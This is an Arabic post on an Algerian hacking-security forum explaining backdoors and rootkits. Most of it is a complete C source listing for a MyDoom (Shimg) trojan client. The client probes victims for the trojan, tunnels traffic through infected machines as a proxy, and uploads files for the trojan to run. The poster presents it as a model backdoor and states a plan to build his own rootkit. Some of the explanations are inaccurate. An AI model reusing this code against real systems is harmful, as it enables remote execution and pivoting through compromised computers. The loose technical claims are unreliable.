الملاحظات

الرئيسيةدخولبحـثس .و .جالتسجيلمكتبة الصور
المواضيع الأخيرةgoweto_bilobedجامعة المدينة العالمية وانتشارها عالمياالخميس يونيو 25, 2015 9:23 am من طرفصلاح الدين المحمديgoweto_bilobedالمكتبة الرقمية في جامعة المدينة العالمية MEDIU في ماليزياالخميس يونيو 25, 2015 9:22 am من طرفصلاح الدين المحمديgoweto_bilobedكلية العلوم الاسلامية في جامعة المدينة العالمية - ماليزياالخميس يونيو 25, 2015 9:22 am من طرفصلاح الدين المحمديgoweto_bilobedمعهد تعليم اللغة العربية لغير الناطقين بها - جامعة المدينة العالمية MEDIU في ماليزياالخميس يونيو 25, 2015 9:21 am من طرفصلاح الدين المحمديgoweto_bilobedمجلة جامعة المدينة العالمية MEDIUالخميس يونيو 25, 2015 9:20 am من طرفصلاح الدين المحمديgoweto_bilobedتعريف بجامعة المدينة العالمية في ماليزيا MEDIUالخميس يونيو 25, 2015 9:19 am من طرفصلاح الدين المحمديgoweto_bilobedمركز اللغات في جامعة المدينة العالمية في ماليزيا MEDIUالخميس يونيو 25, 2015 9:18 am من طرفصلاح الدين المحمديgoweto_bilobedوكالة البحوث والتطوير في جامعة المدينة العالمية MEDIU في ماليزياالخميس يونيو 25, 2015 9:17 am من طرفصلاح الدين المحمديgoweto_bilobedعمادة الدراسات العليا في جامعة المدينة العالمية MEDIU في ماليزياالخميس يونيو 25, 2015 9:15 am من طرفصلاح الدين المحمديgoweto_bilobedكلية العلوم المالية والإدارية في جامعة المدينة العالمية MEDIU في ماليزياالخميس يونيو 25, 2015 9:14 am من طرفصلاح الدين المحمدي

مَرحباً بكُم في شبكة أمان الجزائر | المنتدى الأول للحماية المعلوماتية في الجزائر ، نحن هنا لنفيدكم ونحميكم ،،، لنعطيكم ونعلمكم ولا نريد مقابل ذلك إلا "إحترامكم وتقديركم"
أهلا وسهلا بك زائرنا الكريم، إذا كانت هذه زيارتك الأولى للمنتدى، فيرجى التكرم بزيارة صفحة التعليمـــات، بالضغط هنا.كما يشرفنا أن تقوم بالتسجيل بالضغط هنا إذا رغبت بالمشاركة في المنتدى، أما إذا رغبت بقراءة المواضيع والإطلاع فتفضل بزيارة القسم الذي ترغب أدناه.




أمان الجزائر | Dz Security :: أمن المعلومات :: قسم اختبار اختراق الأجهزة و الحماية

شاطر
الثلاثاء أكتوبر 19, 2010 10:23 pm
المشاركة رقم:
المعلومات
الكاتب:
اللقب:
  المراقب العام
الرتبه:
   المراقب  العام
الصورة الرمزية


البيانات
الجنس : ذكر
البلد : 1
العَمَــــــــــلْ : 3
هوايتي : 12
مزاجي : 24
الإنتساب الإنتساب : 07/04/2010
مشآرڪآتے مشآرڪآتے : 601
السٌّمعَة السٌّمعَة : 25
الْنِّقَاط الْنِّقَاط : 1312
التوقيت

الإتصالات
الحالة:
وسائل الإتصال:


مُساهمةموضوع: تعرف على backdoors وال rootkits



تعرف على backdoors وال rootkits




الســــــلام عليكم
انا اكتب لكم اليوم مبتعدا عن مواضيع المنتدى التقليديه لان اكثر شيء شجعني على المشاركه بهذا المنتدى هو انه مهتم بالتطوير وليس بالتقليد صراحه انا لا اعلم شيء عن مستوى الهكر العربي لكن اعرف انه
عندنا عقول تتفوق على الاجانب اذا وجهت ..
موضوع اليوم احببت ان احدثكم عن ما اعرفه عن ال backdoors و ال rootkits وهي مهمه وخطيره اكثر مما تتصورو ,والهدف من هذا الموضوع هو مساعدتكم التعرف على كل شيء بخصهم انشالله
طبعا لسوء الحظ ونتيجه لمنديات الاختراق العربيه الكثير بعرفو ال backdoors ,ويظنو انها RAT مثل البيفروست والبويزون لكن هي اهم و اخطر انا كتبت برنامجي ال RAT بلغه VB6 و انا في بداياتي و ما اظن انه اشي خاص او انجاز
لكن ال BACKDOOR الحقيقي مكتوبه بلغه اما C او PYTHON .
ال BACKDOOR وببساطه بيقوم بفتح SSH حتى يمكنك من عمل مدخل الى النظام.
اما ال ROOTKITS فقسمها الى قسمين
ROOT:من ROOT ACCOUNT اي الحساب الافتراضي
KIT:يعني ان ال رووتكيت رح يخبي نفسه في اعماق النظام حتى لا تتمكن من ايجاده
والROOTKITS ادا كانت مكتوبه بشكل جيد يمكنها من نسخ ملفات ال SYSTEM وتؤمن مدخل للBIOS وحتى تغير كامل نظام التشغيل وتوصلك لهدفك.
هناك الكثير من انواع الBACKDOORS منها ال RAT لكنه مش مهمه مثل ال SSH ,من انواعها ما يامنلك مدخل ب حساب ROOT الى النظام وعمل شيئ غير مرغوب من قبل برامج الحمايه انا اطلعت على العديد منها ما هو معقد ومنها ما هو بسيط مبرمجه بلغه C
البسيط منها بامنلك SSH BACKDOOR بباسورد محدد . JONATHAN JONES المعروف كان عامل SSH BACKDOOR على نظام وزاره الدفاع حتى القي القبض عليه.
طبعا backdoors تعمل في عده نواحي يمكن انه تكون مكتوبه بال vb,c,python وحتى بال ++c
فرضا لو انك استغرقت يومين باختراق سيرفر شركه و تعبت عليه اكيد مش رح تعيد كل اشي اذا حبيت ترجع تخترقو لا انت بتعمل backdoor عشان تكون العمليه اسرع
يعني بتلخص عمل ال backdoors:
-تامين المدخل
-تنفيذ ال payloads والاوامر
-وتسمحلك بالدخول

رح اعطيكم اهم مثال
شوفو هاد الكود
كود:
Code:
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include



#define DEFAULT_SHIMG_PORT 3127
#define DEFAULT_PROXY_PORT 6060
#define DEFAULT_LISTEN_PORT 2731
#define DEFAULT_FORWARD_PORT 80
#define HOST_MAXLEN 70
#define TIMEOUT 15

/* Takie dane b d wys ane w celu rozpoznania Shimg */
#define TOUCH_CONTENT {'\001'}
/* Takie dane oznaczaj wykrycie Shimg */
#define MYDOOM_FGRPRNT {'\x04','\x5B','\x00','\x00','\x00','\x00','\x00','\x00'}

/* danie uruchomienia programu */
#define RUN_CONTENT {'\x85','\x13','\x3C','\x9E','\xA2'}
/* danie zestawienia tunelu */
#define FORW_CONTENT {'\x04','\x01','\x00','\x00','\x00','\x00','\x00','\x00','\000'}

#define PROXY_RESP "HTTP/1.0 200 Connection established"

#ifndef BUFLEN
#define BUFLEN 200
#endif

#ifndef HAVE_SIN_LEN
/* Na GNU/Linux to ma by 0, na Uniksie to ma by 1 */
#define HAVE_SIN_LEN 0
#endif


const char *ARGV0;
struct sockaddr_in VICTIM_ADDR;
struct sockaddr_in PROXY_ADDR;

void usage(void);
void baner(void);
void Blad(const char *str);
int Polacz(const struct sockaddr_in *cel);
void Do_Touch(void);
void Do_Forward(const char *dst, int input);
void Do_Run(const char *nazwa);
void Nasluchuj(const char *listen_loc, const char *dst);
void Ustal_Adres(struct sockaddr_in *dst, const char *src, uint16_t def_port);



int main(int argc, char * const *argv)
{
int ch;
int touch = 0;
char *forward = NULL, *run = NULL;
char *listen = NULL, *proxy = NULL;

setlocale(LC_ALL, "");
signal(SIGPIPE, SIG_IGN);

if( NULL == (ARGV0 = argv[0]) )
exit(EXIT_FAILURE);
if( argc < 2 )
usage();

while( (ch=getopt(argc, argv, "f:r:thl:p:")) != -1 )
{
switch(ch) {
case 'f':
forward = optarg;
break;
case 'r':
run = optarg;
break;
case 't':
touch = 1;
break;
case 'l':
listen = optarg;
break;
case 'p':
proxy = optarg;
break;
case '?':
case 'h':
default:
usage();
}
}
argc -= optind;
argv += optind;
if( argc != 1 )
usage();
if( ! touch && ! forward && ! run )
touch = 1;

baner();

Ustal_Adres(&VICTIM_ADDR, *argv, DEFAULT_SHIMG_PORT);
if( proxy )
Ustal_Adres(&PROXY_ADDR, proxy, DEFAULT_PROXY_PORT);

if( touch )
Do_Touch();

if( run )
Do_Run(run);

if( listen && forward )
Nasluchuj(listen, forward);
else if( forward )
Do_Forward(forward, 0);


exit(EXIT_SUCCESS);
}


/*---------------------------------------------------------
--- Definicje funkcji {{{ ---------------------------------
---------------------------------------------------------*/

/*
* Przyjmuje wska nik src na a cuch znak w (ip lub nazwa hosta)
* i wype nia struktur sockaddr_in, wskazywan przez dst.
*/
void Ustal_Adres(struct sockaddr_in *dst, const char *src, uint16_t def_port)
{
char *port;
char Adres[HOST_MAXLEN];
struct hostent *he1;

if( ! src || ! dst )
return;

strncpy(Adres, src, sizeof(Adres));
Adres[sizeof(Adres)-1] = '\0';

memset((void*)dst, '\0', sizeof(*dst));

#if defined(HAVE_SIN_LEN) && HAVE_SIN_LEN != 0
dst->sin_len = sizeof(struct in_addr);
#endif
dst->sin_family = AF_INET;

if( (port=index(Adres, ':')) && *(port+1) )
{
*port = '\0';
dst->sin_port = htons(atoi(port+1));
}
else
dst->sin_port = htons(def_port);

if( (dst->sin_addr.s_addr=inet_addr(Adres)) == INADDR_NONE )
{
he1 = gethostbyname2(Adres, AF_INET);
if( ! he1 || ! he1->h_addr_list[0] )
{
fprintf(stderr,
"B d: Nie uda o si rozpozna podanego adresu (%s).\n", src);
exit(EXIT_FAILURE);
}
dst->sin_addr.s_addr = *(in_addr_t*)(he1->h_addr_list[0]);
printf("[i] Nazwa %s wskazuje na adres %s\n", Adres, inet_ntoa(dst->sin_addr));
endhostent();
}
}

/*
* Wy wietla komunikat o b dze na podstawie warto ci errno
*/
void Blad(const char *str)
{
char *buf;

if( ! str )
return;

if( NULL == (buf = malloc(strlen(str)+4+1)) )
exit(EXIT_FAILURE);

sprintf(buf, "[B] %s", str);

perror(buf);
exit(EXIT_FAILURE);
}

/*
* Tworzy gniazdo internetowe i ustanawia po czenie z celem
*/
int Polacz(const struct sockaddr_in *cel)
{
int fd;
int ver, status, err;
FILE *proxy;
char buf[80];
struct timeval tv1 = { TIMEOUT, 0 };

if( ! cel )
return -1;

if( PROXY_ADDR.sin_addr.s_addr == (in_addr_t)0
|| ( PROXY_ADDR.sin_port == cel->sin_port
&& PROXY_ADDR.sin_addr.s_addr == cel->sin_addr.s_addr ) )
{
/* czenie bezpo rednie */

if( (fd=socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0 )
Blad("socket()");
if( connect(fd, (struct sockaddr *)cel, sizeof(*cel)) < 0 )
Blad("connect()");

}
else
{
/* Pr ba czenia przez proxy */

fprintf(stderr, "[i] czenie z proxy...\n");

fd = Polacz(&PROXY_ADDR);

if( setsockopt(fd, SOL_SOCKET, SO_RCVTIMEO, (void*)&tv1, sizeof(tv1)) < 0 )
Blad("setsockopt()");
if( NULL == (proxy=fdopen(fd, "r+")) )
Blad("fdopen()");

fprintf(proxy, "CONNECT %s:%d HTTP/1.1\r\n\r\n",
inet_ntoa(cel->sin_addr), ntohs(cel->sin_port));


if( (err=fscanf(proxy, "HTTP/1.%d %d ", &ver, &status)) != 2
|| NULL == fgets(buf, sizeof(buf), proxy)
|| NULL == fgets(buf, sizeof(buf), proxy) )
{
if( err != -1 && err != 2 )
{
fprintf(stderr,
"[B] Niezrozumia a odpowied od serwera proxy.\n");
exit(EXIT_FAILURE);
}
else if( errno == EWOULDBLOCK )
{
fprintf(stderr,
"[B] Brak odpowiedzi od proxy w ci gu %ds\n", TIMEOUT);
exit(EXIT_FAILURE);
}
else
Blad("fgets()");
}

if( ver != 0 && ver != 1 )
{
fprintf(stderr, "[B] B dna odpowied od proxy.\n");
exit(EXIT_FAILURE);
}

if( status != 200 )
{
fprintf(stderr, "[B] Proxy nie uda o si nawi za po czenia.\n");
fprintf(stderr, "[B] Status odpowiedzi od serwera: %d\n", status);
exit(EXIT_FAILURE);
}

printf("[i] Serwer proxy ustanowi po czenie.\n");

}

return fd;
}


/*
* Otwiera port na adresie listen_loc i serwuje cz cym si klientom
* tunelowane po czenie z dst.
*/
void Nasluchuj(const char *listen_loc, const char *dst)
{
int listen_fd, client_fd;
struct sockaddr_in listen_addr, client_addr;
socklen_t addr_len = sizeof(struct sockaddr_in);

if( ! listen_loc || ! *listen_loc )
return;

Ustal_Adres(&listen_addr, listen_loc, DEFAULT_LISTEN_PORT);

if( (listen_fd=socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0 )
Blad("socket()");
if( bind(listen_fd, (struct sockaddr*)&listen_addr, sizeof(listen_addr)) < 0 )
Blad("bind()");
if( listen(listen_fd, 3) < 0 )
Blad("listen()");

fprintf(stderr, "
[*] Oczekiwanie na po czenie klienta...\n");

if( (client_fd=accept(listen_fd, (struct sockaddr *) &client_addr, &addr_len)) < 0 )
Blad("accept()");

fprintf(stderr, "[i] Nadesz o po czenie z %s:%d...\n",
inet_ntoa(client_addr.sin_addr), ntohs(client_addr.sin_port));

Do_Forward(dst, client_fd);
}



/*
* Sprawdzenie, czy na serwerze dzia a Shimg
*/
void Do_Touch(void)
{
int fd, n, len;
char zapyt[] = TOUCH_CONTENT;
char oczek[] = MYDOOM_FGRPRNT;
char odpow[sizeof(oczek)];
struct timeval tv1 = { TIMEOUT, 0 };


printf("
[*] Sprawdzanie dost pno ci portu %d na serwerze %s...\n",
ntohs(VICTIM_ADDR.sin_port), inet_ntoa(VICTIM_ADDR.sin_addr));

fd = Polacz(&VICTIM_ADDR);

if( send(fd, (void*)zapyt, sizeof(zapyt), 0) != sizeof(zapyt) )
Blad("send()");


if( setsockopt(fd, SOL_SOCKET, SO_RCVTIMEO, (void*)&tv1, sizeof(tv1)) < 0 )
Blad("setsockopt()");

if( (len=recv(fd, (void*)odpow, sizeof(odpow), 0)) < 0 )
{
if( errno == EWOULDBLOCK )
{
fprintf(stderr,
"[B] Port otwarty, ale brak odpowiedzi w ci gu %ds\n", TIMEOUT);
exit(EXIT_FAILURE);
}
else
Blad("recv()");
}

printf("[i] Odpowied od serwera:\n[i] ");
if( len )
for( n=0; n printf("0x%X ", odpow[n]);
else
printf("(brak)");
printf("\n");

if( len != sizeof(oczek) || memcmp(odpow, oczek, sizeof(oczek) ) )
printf("[!] Port otwarty, ale odpowied nie przypomina trojana MyDoom.\n");
else
printf("[!] W podanym po o eniu dzia a trojan MyDoom (shimg).\n");

if( close(fd) < 0 )
Blad("close()");

}

/*
* Zestawienie tunelu do dst, wykorzystuj c komputer z Shimg jako proxy
* input to deskryptor, z kt rego przychodz dane do przesy ania.
*/
void Do_Forward(const char *dst, int input)
{
int victim_fd;
int wczytane, zapisane;
struct sockaddr_in cel;
char HEADER[] = FORW_CONTENT;
char RESP[sizeof(HEADER) - 1];
char bufor;
int max;
fd_set orig_rdfds, rdfds;

if( ! dst || ! *dst )
return;

Ustal_Adres(&cel, dst, DEFAULT_FORWARD_PORT);
*(uint16_t*)&(HEADER[2]) = cel.sin_port;
*(uint32_t*)&(HEADER[4]) = cel.sin_addr.s_addr;


printf("
[*] Ustanawianie po czenia z %s:%d ",
inet_ntoa(cel.sin_addr), ntohs(cel.sin_port));
printf("poprzez %s:%d...\n",
inet_ntoa(VICTIM_ADDR.sin_addr), ntohs(VICTIM_ADDR.sin_port));

victim_fd = Polacz(&VICTIM_ADDR);

if( write(victim_fd, (void*)HEADER, sizeof(HEADER)) != sizeof(HEADER) )
Blad("write()");
if( read(victim_fd, (void*)RESP, sizeof(RESP)) < 0 )
Blad("read()");

HEADER[1] = 0x5A;
if( memcmp( HEADER, RESP, sizeof(RESP) ) )
{
printf("[B] Trojan Shimg odpowiedzia , e nie mo e si po czy .\n");
exit(EXIT_FAILURE);
}
printf("[!] Trojan Shimg odpowiedzia , e nawi za po czenie.\n");


if( fcntl(victim_fd, F_SETFL, O_NONBLOCK) < 0 )
Blad("fcntl()");
if( fcntl(input, F_SETFL, O_NONBLOCK) < 0 )
Blad("fcntl()");

max = ( (victim_fd>input)?victim_fd:input ) + 1;
FD_ZERO(&orig_rdfds);
FD_SET(victim_fd, &orig_rdfds);
FD_SET(input, &orig_rdfds);

for(;Wink
{
rdfds = orig_rdfds;
if( select( max, &rdfds, NULL, NULL, NULL ) < 0 )
Blad("select()");

if( FD_ISSET(input, &rdfds) )
{
wczytane = read(input, &bufor, 1);
if( wczytane == 0 )
break;
else if( wczytane < 0 )
Blad("read()");
do
zapisane = write(victim_fd, &bufor, 1);
while( zapisane < 0 && errno == EWOULDBLOCK );
if( zapisane < 0 )
Blad("write()");
}

if( FD_ISSET(victim_fd, &rdfds) )
{
wczytane = read(victim_fd, &bufor, 1);
if( wczytane == 0 )
break;
else if( wczytane < 0 )
Blad("read()");
do
zapisane = write(input, &bufor, 1);
while( zapisane < 0 && errno == EWOULDBLOCK );
if( zapisane < 0 )
Blad("write()");
}
}

if( close(victim_fd) < 0 )
Blad("close()");

printf("\n
[*] Po czenie zosta o zamkni te.\n");

}

/*
* Wys anie programu do trojana i dania uruchomienia
*/
void Do_Run(const char *nazwa)
{
int serw, plik;
int wczytane;
char RUN[] = RUN_CONTENT;
char bufor[BUFLEN];

if( ! nazwa || ! *nazwa )
return;

printf("
[*] Wysy anie pliku (%s) do uruchomienia przez trojana...\n", nazwa);

if( (plik = open(nazwa, O_RDONLY)) < 0 )
Blad("open()");
serw = Polacz(&VICTIM_ADDR);

if( send(serw, (void*)RUN, sizeof(RUN), 0) != sizeof(RUN) )
Blad("send()");

do
{
wczytane = read(plik, (void*)bufor, sizeof(bufor));
if( wczytane < 0 )
Blad("read()");
if( write(serw, (void*)bufor, wczytane) != wczytane )
Blad("write()");
} while( wczytane );

if( close(plik) < 0 )
Blad("close()");
if( close(serw) < 0 )
Blad("close()");

printf("[!] OK. Plik zosta przes any na podany adres.\n");
}

void baner(void)
{
printf("--------------------------------------------------\n");
printf("**** klient MyDoom.c (shimg) *****\n");
printf("**** nie 01 lut 2004 21:27:20 CET *****\n");
printf("**** Robert Nowotniak *****\n");
printf("--------------------------------------------------\n");
printf("*** Program _WY CZNIE_ do cel w edukacyjnych. ***\n");
printf("--------------------------------------------------\n");
printf("\n");
}

void usage(void)
{
fprintf(stderr, "\n");
fprintf(stderr, " U ycie:\n");
fprintf(stderr,
"%s [-t] [[-l ] -f ]\n"
"\t[-p ] [-r ] \n", ARGV0);
fprintf(stderr, "\n");
fprintf(stderr,
" -t Sprawdzenie, czy w podanej lokalizacji dzia a trojan MyDoom (shimg)\n");
fprintf(stderr,
" -f Zestawienie tunelowanego po czenia z Adresem_Docelowym (forwarding)\n");
fprintf(stderr,
" -r Uruchomienie podanego na atakowanym komputerze\n");
fprintf(stderr,
" -p Wykonywanie wszyskich dzia a przez proxy (metoda CONNECT)\n");
fprintf(stderr,
" -l Nas uchiwanie na porcie w celu tunelowania\n");
fprintf(stderr, "\n");

exit(EXIT_FAILURE);
}
----------------------------
هذا احسن مثال على backdoor مكتوب بال c
اما ال root kits كما شرحت سابقا هي مصممه لعمل ضرر او خلل بنضام الحمايه ك مستخدم مدير admin
فاذا نجحت ال rootkit ستتخطى اي حمايه بصفة المدير وتدخل الregestery وكل ملفات الوندوز ..
االانواع كثيره هالايام منها انها تبطئ النظام او تؤمن مدخل الى المعلومات الشخصيه والكثير الكثير, ال rootkits ممكن يتم استخدامها ك botnet والتحكم بنظام zombie
لكن لما تسال عن ال rootkits هي 4 انواع رئيسيه :
kernal :هي اللي تحدثنا عنها بالبدايه حيث تقوم بتغيير او اضافه كود الى نظام التشغيل وهدا النوع خطير جدا حيث لها الصلاحيه لتعمل ما تريد
firmware هذا النوغ بستخدم ال firmware عشان تختبىء فيه لانه ال فيرم ويير لا يتم فحصه اي انه لا يتم ايجادها غالبا
bootloader تقوم باستبدال ال bootloader المستخدم حاليا باbootloader الخاص بمبرمج ال rootkit
library تستبدل ال sysytem calls ب اكواد المصمم
application تقوم باستبدال ملفات exe وال binaries بالكود الخاص بالمبرمج او بتروجان
ال rootkits تعمل بطريق مماثله لل backdoors كلاهما يشق طريقه نحو النظام وتحصل على مستخدم مدير حتتى تتحكم بكامل النظام ال rootkits يمكنها انه تادي العديد من
الاوامر فمثلا ال كود بالعلى يستخدم ك دوده او worm حيث يرسل نفسه الى كل ايميلات الضحيه و مش دايما بكون فيها نفس الامر منها ما ينتظر حتى اللحظه المناسبه وبعدها بهاجم النظام
اذا بتلخص عمل ال rootkits ب :
-اصابه المضيف
-دفن نفسها والاختباء
-الانتشار بالنظام
-الحصول على تصريح المدير
-وتنفيذ ما يريده الهاكر او المصمم


هذا كان شرح بسيط مني اخوكم themagician1970
,وانشالله اوفق وانهي تصميم ال rootkit الخاص بي
goodluck and best wishes





الموضوع الأصلي : تعرف على backdoors وال rootkits // المصدر : أمان الجزائر | Dz Security // الكاتب: Dz Security


توقيع : Dz Security







الإشارات المرجعية
التعليق على الموضوع بواسطة الفيس بوك
الــرد الســـريـع
..


الذين يشاهدون محتوى الموضوع الآن : 20 ( الأعضاء 3 والزوار 17)



تعليمات المشاركة
صلاحيات هذا المنتدى:
لاتستطيع الرد على المواضيع في هذا المنتدى

BB code is متاحة
كود [IMG] متاحة
كود HTML معطلة





الساعة الآن.




12345678910111213141516171819202122232425262728
29303132333435363738394041424344454647484950515253545556
57585960616263646566676869707172737475767778798081828384
858687888990919293949596979899100101102103104105106107108109110111112

Rss

feed

atom

xml



إعلانات أمان الجزائر النصية
إعــــــــــلانإعــــــــــلانإعــــــــــلانإعــــــــــلان
إعــــــــــلانإعــــــــــلانإعــــــــــلانإعــــــــــلان
إعــــــــــلانإعــــــــــلانإعــــــــــلانإعــــــــــلان
إعــــــــــلانإعــــــــــلانإعــــــــــلانإعــــــــــلان
إعلانات أمان الجزائر
إعــــــــــلانإعــــــــــلانإعــــــــــلانإعــــــــــلان
Copyright © 2009-2013 Dz Security , Inc. All rights reserved